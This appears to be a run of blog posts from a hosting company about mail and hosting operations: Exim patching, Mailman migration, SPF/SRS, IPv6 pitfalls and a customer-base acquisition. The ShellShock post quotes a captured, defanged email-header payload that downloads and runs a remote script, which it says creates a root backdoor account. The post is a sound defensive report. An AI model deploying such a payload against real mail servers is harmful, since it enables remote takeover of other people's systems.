Humankind has been carefully storing past knowledge for a very long time.

At the end of July, Debian 10 (Buster) reached end-of-life, and with it, all mainstream support for Python 2. The Python Software Foundation actually ended support for Python 2 on 1st January 2020, but it’s remained in Debian until now because a small number of important packages depend on it.

One of those packages is Mailman 2, a widely-used mailing list manager.  For various reasons, many projects using Mailman 2 have resisted upgrading to its successor, Mailman 3.  With Debian 10 reaching end-of-life, we’re seeing renewed interest in this migration.

One of the barriers to migrating to Mailman 3 is that the upgrade breaks links to messages in the mailing list archives.  There are links all over the internet to messages in Mailman 2 list archives, and for many projects, breaking these links would be a significant loss.

We’ve recently done some Mailman 2 to 3 migrations, and as part of this, we developed our own solution to preserving archive URLs.  We created a script that trawls Mailman 2 archives and creates a map of old URLs in the Mailman 2 archives to the corresponding URL in the Mailman 3 archives.  This can be used by Apache’s mod_rewrite to generate redirects for the old URLs.   The map can be converted to a DBM file for more efficient lookups.  This is important for archives containing many thousands of URLs.

We’ve made the mailman-archive-mapper script freely available on GitHub.

We offer mailman as a managed application.

We sponsor exim and provide a VM for their buildfarm.

Recently Trend Micro, through their Zero Day Initiative, published a critical flaw for the Exim mail server. It’s described as allowing remote attackers to execute arbitrary code on the Exim server without authentication. On the face of it, any server running Exim and listening on the internet can immediately be taken over by an attacker. What makes this worse is that they claim they reported this in June 2022, and the Exim team have ignored fixing it.

ZDI say ‘The only salient mitigation strategy is to restrict interaction with the application.’ and have allocated a scarily high severity score of 9.8/10.

Mythic Beasts make pretty heavy use of Exim in our mail infrastructure, and mitigating the security risk by turning off email is a pretty severe step while we wait for a fix. On top of that amongst servers we manage for ourselves and clients there’s nearly a thousand installed copies of Exim that will need to be updated.

The Exim team have a different view on the severity, as do other reputable security specialists. Watchtowr have a nice write-up explaining that, by default, none of the six issues can be exploited. Cross checking to Mythic Beasts mail infrastructure we can quickly confirm we’re not affected, and we believe that none of the managed customers should be either.

As this is now not especially time critical, we can wait for the supported operating systems to release updated packages which we can install.

Patching

The security issue is definitely significant enough to meet our 0-day policy of patching immediately as it’s network listening software with a risk of compromise. Debian released packages with the most important fixes on Monday 2nd October. Because this issue covers a very large number of affected machines, some of which are absolutely critical we decided to stage the rollout. First we did our staging servers, then one of our core mailhubs. We then paused for a short while to check no functionality was affected. Then we completed the full roll-out to all managed servers both customer and internal. The final step is our audit – recheck the Exim package on every managed server to make sure the update had applied everywhere. The full rollout and audit completed in around three hours.

We’re expecting updated packages from Ubuntu shortly, which will then be rolled out to all supported managed Ubuntu customers when available.

A Mythic Beast eating a Retrosnub (artists impression)

Just before Christmas we were approached by Malcolm Scott, director of Retrosnub, a small cloud hosting provider in Cambridge. His existing connectivity provider had run out of IPv4 addresses. They’d decided to deal with this issue by adding charges of £2 per IPv4 address per month to encourage existing customers to return unused IPv4 addresses to them. As a cloud hosting provider with a substantial number of virtual machines (VMs) on a small number of hosts this had the result of tripling the monthly colocation bill of Retrosnub.

Aware of my presentation on IPv6-only hosting at UKNOF, Malcolm knew that opportunities for significant expansion were severely limited due to the difficulty of obtaining large amounts of IPv4 address space. Retrosnub faced a future of bankruptcy or remaining a very niche provider. His connectivity providers seemed strongly in favour of Retrosnub going bust so they could reclaim and re-sell the IPv4 space for higher margin services.

There are no expansion opportunities for new cloud hosting providers.

As a larger provider with our own address space, we had sufficient spare capacity in our virtual machine cloud to absorb the entire customer base of Retrosnub with no additional expenditure. Our work in supporting IPv6-only virtual machines will also make it easier to significantly reduce the number of IPv4 addresses required to support Retrosnub services. We formed a deal and agreed to buy the customer base of Retrosnub.

Combining operations

Since agreeing the deal, we’ve been working hard to merge our operations with minimum disruption.

The top priority was the domain name services because domains expire if you don’t renew them. Doing a bulk transfer of domain names between registrars is something which Nominet, the body responsible for UK domains, makes extremely easy, as it just requires changing the “tag” on all the domains.

Unfortunately, just about all other TLDs follow a standard ICANN process, which requires that a domain be renewed for a year at the time of transfer, and that the owner of the domain approves the process. If you were designing a process to destroy competition in a market by making it hard for resellers to move between registrars, it would look quite like this.

We’ve now got the bulk of domains transferred, and the next steps will be to migrate the DNS records from Retrosnub to Mythic Beasts so that our control panel can be used to change the records.

At the same time, we rapidly formulated a plan to migrate all the virtual machines in to stem the financial losses. Moving the VMs required an unavoidable change in IP address, and we also wanted to get them migrated from their current platform (Citrix Xenserver with para-virtualisation) to our own platform (KVM with full hardware virtualisation).

In order to ease the transition, we arranged for a pair of servers to do IP forwarding: a server in our cloud that forwarded the new IP to the VM in the Retrosnub cloud until it was migrated in, and another in the Retrosnub cloud that forwarded the old IP after the server had been moved. By doing this we were able to give customers a one week window in which to complete their IP migration, rather than forcing it to be done at the time that we actually moved the VM.

In the process of this migration, all customers received a significant bandwidth upgrade and majority received disk, RAM and CPU upgrades too.

We completed this on schedule before the quarterly colocation bill arrived, so instead of paying the much increased bill, we cancelled the contract and removed the servers from the facility.

Next steps

Our next step will be to migrate all the web and email hosting customers into our standard shared hosting environment. This has some time pressure as Google have plans for Chrome to start marking all non-HTTPS websites as insecure. We offer one click HTTPS hosting using Let’s Encrypt on all of our hosting accounts.

tl;dr: SRS changes the sender address when you forward email so it doesn’t get filed as spam.

We’ve just deployed an update to our hosting accounts that allows you to enable Sender Rewriting Scheme when forwarding mail for your domain.

We’ve previously mentioned how we’re seeing increased adoption of Sender Policy Framework (SPF), a system for ensuring that mail from a domain only comes from authorised servers. Whilst this may or may not reduce spam, it does very reliably break email forwarding.

If someone at sender.com sends you an email to you at yourdomain.com and you forward it on to your address at youremailprovider.com, the email that arrives at your final address will come from the mail server hosting yourdomain.com which almost certainly isn’t listed as a valid sender in the SPF record for sender.com.  Your email provider may reject the mail, or flag it as “untrusted”.

To fix this, we need a different TLA: SRS, or Sender Rewriting Scheme. As the name suggests, this rewrites the sender address of a forwarded email, from one in a domain that you don’t control (sender.com) to one that you do (yourdomain.com).

In the example above, the actual rewritten address would be something like:

SRS0-9oge=B5=sender.com=them@yourdomain.com

This includes an encoded version of the original address, and any email sent to it will be routed back to the sender.  This means that any bounces messages will end up in the right place.

The sender and recipient in these examples refer to the “envelope” sender and receiver.  The addresses that are normally visible to users are the “from” and “to” headers, which may be different and are unaffected by sender rewriting.  Applying SRS should be invisible to the end users.

SRS is now available as an option whenever you create or edit a forwarder using the customer control panel for email accounts hosted on our main hosting servers.  If your account is hosted on sphinx, we need to do a little extra magic to enable it, so please email support.

Sender Policy Framework (SPF) has been around for a while, but recently we’ve seen email providers getting much more active in using it to filter mail. Most notably, Gmail appearing to be flagging mail from all domains without an SPF record as untrusted.

In a nutshell, SPF allows you to publish a DNS record that declares a list of all of the mail servers that may legitimately send mail from your domain. It’s not perfect, but it’s a useful tool in reducing email with a forged sender address.

Getting SPF records right can be a bit tricky, but for domains hosted with Mythic Beasts that send mail exclusively via our mail servers, you can now add the correct SPF record with a single click.

One-click SPF enablement

The SPF settings are available on the domain pages in our control panel.

We’d love to make it even easier and just add the record for you, but we can’t be sure that customers are only using our mail servers to send mail, and if not, adding the record will make things worse, although we are planning to add this record by default for newly hosted domains.

It’s worth noting that SPF does not cause problems when sending mail via mailing lists as all decent mailing list software will use its own sender address rather than yours. You may be aware of a change made by Yahoo! that caused considerable problems for mailing lists, but this was related to another system, DMARC, which builds on top of SPF. SPF on its own works just fine with mailing lists.

0. We sell domain names

OK, we lied, it’s six reasons, but the first probably isn’t very compelling so let’s get it out of the way first: buying domains gives us beer money.

Obviously we’ve got a commercial interest here, but Mythic Beasts exists because a bunch of students spotted that their university-provided email addresses would stop working once they graduated. We’ve now had the same personal email addresses for over 15 years.

1. Provider independence

This is the big one. Changing your email address is a massive pain. Not only do you need to tell all your human correspondents about your new address, but you need to tell just about every site that you’ve ever logged on to. Most sites use your email address to identify you, and that’s the only address that you can get a password reset sent to if you forget it.

Not so long ago, many people used the “free” addresses provided by their broadband (or dial-up) provider. This had the obvious problem that changing broadband providers meant changing your email address. Having your own domain puts you in control.

2. Real provider independence

Realising the problem of having your email address tied to your connectivity provider, many people have switched to using an address from a free email provider such as Gmail or Yahoo!, but this is really just moving the same problem elsewhere: your email address is now tied to your email provider.

What happens when you get fed up with the amount of advertising you’re exposed to in order to fund your “free” email account? Or your provider changes their email policy in a way that causes your address to be banned from mailing lists? Or you discover that the provider’s anti-spam policy is binning your legitimate email? Or they simply change their web interface in a way that you don’t like?

By using your own domain name, you retain choice of email provider.

3. Disposable addresses

It’s hard to do anything online without being asked to provide an email address, but how can you trust that your address isn’t going to be added to a spam list? If you have your own domain, you can have as many addresses as you want. You can even have “wildcard” addresses so that you can make up new addresses on the spot. For example, if my address is paul@example.com and I want to sign up to a service at www.somedodgysite.com, I could invent an address of:

paul-somedodgysite@example.com

If I start getting spam sent to that address then firstly, I know which site lost or sold my details and secondly, I can easily setup a rule to bin all mail to that address.

4. More interesting and memorable addresses

Unless you’re lucky enough to have a particularly uncommon name, any address you can get at the big free mail providers is likely to be some complex variant of your name. With your own domain name, you’ve got complete control. You could even have just a single letter such as p@example.com.

This also means that it’s less likely that your email will end up in someone else’s inbox by mistake. If one of your friends forgets that you’re joebloggs1937@gmail.com rather than just joebloggs@gmail.com, the email will get delivered to someone else. With your own domain, it’s far more likely that typo-ed addresses will get bounced, and the sender will notice the mistake.

5. Domains are cheap

EDIT 22/2/2020 – prices have gone up since this post was written, but domains are still cheap.

We sell UK domains for just £6+VAT £12+VAT for two years. £3.75 £7.20 is a year is a tiny price to pay for being in control of your own online identity. There’s also now a huge variety of generic top-level domains that can be had for not much more – .beer, .bike, .click, .cymru, .engineer, .guru, .scot, .wales, .wtf and hundreds more.

Of course, to use your domain, you’ll need somewhere to host it. We can sell you a hosting account too, but you don’t have to use us if you don’t want to. That’s the point!

Every now and again, one of our users will either get their SMTP credentials stolen, or will get a machine on our network compromised. More often than not, the miscreants responsible will then proceed to send a whole bunch of adverts for V1@gr@ or whatever through our mail servers. This typically results in our mail servers getting (not unreasonably) added to various blacklists, which affects all our users, creates work for us and generally makes for sad times.

We’ve got various measures to counter this, one of which relies on the fact that spam lists are typically very dirty and will generate a lot of rejections. We can use this fact to freeze outgoing mail for a particular user or IP address if it is generating an unreasonable number of delivery failures. The approach we use is based on the, generally excellent, Block Cracking config.

Unfortunately, both we, and the author of the above, overlooked what happens when you start adding IPv6 addresses to a file which uses “:” as its key/value separator, such as that used by Exim’s lsearch lookup. Yesterday evening, a customer’s compromised machine started a spam run to us over IPv6.

Our system raises a ticket in our support queue every time it adds a new IP to our block list so that we can get in touch with the customer quickly. Unfortunately, if the lookup doesn’t work because you haven’t correctly escaped an IPv6 address, it’ll happily keep adding the same IP for each spam email seen, and raising a new ticket each time. Cue one very busy support queue.

Needless to say, the fix was simple enough, but the moral, if there is one is a) test everything that you do with both IPv6 and IPv4 and b) start preparing for IPv6 now, as it’s going to take you ages to find everything that it breaks.

Code making assumptions about what an IP address looks like that will be broken by IPv6 are almost certainly more prevalent than 2-digit year assumptions were 15 years ago.

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...


I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.

We aim to give our users the choice of a range of anti-spam measures. One of the options we provider is sender verify, a simple check whereby before you accept a mail, you check that the sender of that email exists, and would accept mail from you. You can argue about how effective this is as an anti-spam measure, but it seems a perfectly reasonable check to want to make, in the same way that many people choose to not answer their phone to those who withhold caller ID.

Unfortunately, some people object to you asking the question.

We recently had some complaints from users who said that they couldn’t receive mail from people with addresses hosted on Microsoft’s Hotmail servers, and sure enough, Hotmail have blacklisted one of our servers’ IPs for daring to enquire about whether particular sender addresses were valid. This affects not just hotmail.com, but various other Microsoft domains.

Sadly, Microsoft aren’t going to change their policy for us, so we needed to whitelist them. This isn’t entirely trivial as what matters is where the sender’s email address is hosted, which means looking up the MX records for that domain. Fortunately, Exim makes this easy enough, provided that you’re not offended by curly brackets. Adding the following condition to a sender verify ACL will disable the check for Hotmail hosted domains:

!condition = ${if forany{${lookup dnsdb{>: mxh=$sender_address_domain}{$value}fail}}{match {$item}{\Nmx.\.hotmail\.com\N}}}

I should note that for quite some time, we’ve used a dedicated IP address for performing our sender verify checks in order to minimise the impact of exactly this type of blacklisting. If we hadn’t done this, the blacklist would have made it impossible for any users to send mail to Hotmail-hosted addresses too. As it was, the problem only affected users who had elected to use sender verify on their domains.

Our network has supported IPv6 for a while, but recently we’ve been making a concerted effort to enable IPv6 on more of our servers. What we’ve learned (mostly the hard way) is that the challenge in doing this is not so much in enabling specific services, such as making your webserver speak IPv6, but in the less obvious side effects of bringing up an IPv6 address on the server in question. Once you do this, the server will start making outgoing connections over IPv6 where possible, and that’s when you find out all the places that you’ve got IP-based access controls squirreled away.

One that caught us out recently when we brought up IPv6 addresses on our mail servers was an SPF record that listed our outgoing servers by their IP (v4) addresses. In hindsight, including IP addresses in an SPF record was never a great idea. It would be much better to use the “mx” or “a” SPF terms, referring to mail servers by name rather than address.

To help others avoid making the same mistake, we’ve added SPF record checking to our IPv6 Health Check. The rules on this are necessarily a bit arbitrary: if you have an explicit reference to an IPv4 address, it expects you to have at least one reference to an IPv6 address. In addition, any time that you use an MX term, it expects that MX to have both IPv4 and IPv6 addresses.

For an example of this, compare the results for twitter.com with the results for google.com. We fail twitter.com because of the “mx:one.textdrive.com” term. There are other parts of Twitter’s SPF that don’t appear to have IPv6 equivalents (e.g. “_netblocks.zdsys.com”) but there’s no easy way to determine which IPv6 address block corresponds to each IPv4 address block. Suggestions for better ways to categorise these test results gratefully received.